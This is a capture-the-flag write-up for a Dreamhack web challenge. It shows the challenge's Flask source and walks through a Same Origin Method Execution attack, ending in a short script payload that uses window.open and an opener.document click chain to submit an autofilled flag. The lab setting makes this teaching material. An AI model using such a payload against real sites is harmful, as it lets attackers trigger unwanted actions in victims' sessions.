Post

SentenceNet

Level 8 web exploitation challenge on Dreamhack.io

SentenceNet

The Challenge

https://dreamhack.io/wargame/challenges/2284

I actually learned a lot from this challenge

The code is pretty straightforward. We have a /post endpoint which autofills the flag for us if we’re accessing it locally.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from flask import Flask, request, render_template, redirect, url_for, abort, request, jsonify
import os
import re
import requests
import ipaddress
import subprocess

app = Flask(__name__)
app.secret_key = os.urandom(64)

info_value = ''


@app.route('/')
def index():
    return redirect(url_for('info'))


@app.route('/post', methods=['GET', 'POST'])
def post():
    if request.method == 'POST':
        global info_value
        info_value = request.form.get('info_value', '')
        return redirect(url_for('info'))

    ip_address = request.remote_addr
    ip_obj = ipaddress.ip_address(ip_address)

    if ip_obj.is_private or ip_obj.is_loopback:
        FLAG = open('/flag', 'r').read()
        value = FLAG
    else:
        value = ''

    return render_template('post.html', value=value)


@app.route('/info', methods=['GET'])
def info():
    global info_value
    return render_template('info.html', info_value=info_value)


@app.route('/callback', methods=['GET'])
def callback():
    ip_address = request.remote_addr
    ip_obj = ipaddress.ip_address(ip_address)

    if not (ip_obj.is_private or ip_obj.is_loopback):
        abort(403, 'Access denied')

    callback_fn = request.args.get('callback', 'console.log')
    if not re.fullmatch(r'[A-Za-z0-9.]+', callback_fn):
        abort(400, 'Invalid callback parameter')

    global info_value
    return render_template('callback.html', callback_fn=callback_fn, info_value=info_value)


@app.route('/report', methods=['GET', 'POST'])
def report():
    if request.method == 'POST':
        report_url = request.form.get('report_url', '')
        resp = requests.post('http://user:31337/visit', json={'url': report_url})
        if resp.ok:
            return render_template('report.html', submitted=True)
    return render_template('report.html', submitted=False)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8001)

We also have an interesting private endpoint at /callback, which allows us to execute any Javascript function we want, but with great restrictions.

The vulnerability here is known as Same Origin Method Execution (SOME).

I couldn’t get the curly braces to render in markdown lol

I tried to find a Javascript function that could give me arbitrary code execution.

This wasn’t possible given the fact that the function argument is in the format of { info: }, forcing the function argument to be an object. Things like eval or exec won’t work in this context. We also can’t break out of the string thanks to | tojson.

I had a stroke of genius while playing around with the opener property. This variable is accessible through the window created from window.open.

  1. Window 1 invokes window.open to open window 2
  2. Window 2 can now access window 1 through window.open, given that both windows are on the same origin

window.open can be used for our solution as the admin bot can visit any arbitrary URL we give it, and popups are allowed on the admin bot browser

Popup blocking is disabled

The exploitation steps are:

  1. Host my own endpoint
  2. The page (window 1) uses window.open to open /callback with the callback function like opener.document.(some traversal).click on window 2
  3. Window 1 sets location to /post, and the flag is automatically added to the input field
  4. Window 2 now clicks the submit button on window 1 to publish the flag

I used a chrome extension to get the traversal from opener.document to the submit button.

The final exploit was:

1
2
3
4
<script>
    window.open("http://home:8001/callback?callback=opener.document.body.firstElementChild.nextElementSibling.firstElementChild.nextElementSibling.nextElementSibling.firstElementChild.nextElementSibling.firstElementChild.click");
    location="http://home:8001/post";
</script>

Win!

This post is licensed under CC BY 4.0 by the author.